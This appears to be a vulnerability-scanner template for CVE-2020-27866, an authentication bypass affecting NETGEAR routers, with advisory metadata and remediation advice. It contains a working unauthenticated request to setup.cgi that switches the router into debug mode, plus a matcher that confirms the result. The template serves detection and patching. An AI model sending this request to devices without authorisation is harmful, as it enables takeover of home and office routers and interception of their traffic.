52 lines
2.0 KiB
YAML
52 lines
2.0 KiB
YAML
id: CVE-2020-27866
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info:
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name: NETGEAR - Authentication Bypass
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author: gy741
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severity: high
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description: NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers are vulnerable to authentication bypass vulnerabilities which could allow network-adjacent attackers to bypass authentication on affected installations.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify network configurations, intercept traffic, or launch further attacks.
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remediation: |
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Apply the latest firmware update provided by NETGEAR to fix the authentication bypass vulnerability.
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reference:
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- https://wzt.ac.cn/2021/01/13/AC2400_vuln/
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- https://www.zerodayinitiative.com/advisories/ZDI-20-1451/
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27866
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- https://kb.netgear.com/000062641/Security-Advisory-for-Password-Recovery-Vulnerabilities-on-Some-Routers
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- https://nvd.nist.gov/vuln/detail/CVE-2020-27866
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classification:
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cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-27866
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cwe-id: CWE-288,CWE-287
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epss-score: 0.00363
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epss-percentile: 0.69394
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cpe: cpe:2.3:o:netgear:ac2100_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: netgear
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product: ac2100_firmware
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tags: cve,cve2020,netgear,auth-bypass
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http:
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- raw:
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- |
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GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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Connection: close
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'Debug Enable!'
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100d22cbf7fa4b1d577bccd11d29d9ae684f4d6358bedb6e30345abc23305836485022100f6fd16d7908d6284a4e49e5320922675ed1f53742ff2841f25ddabfea94c2d6b:922c64590222798bb761d5b6d8e72950 |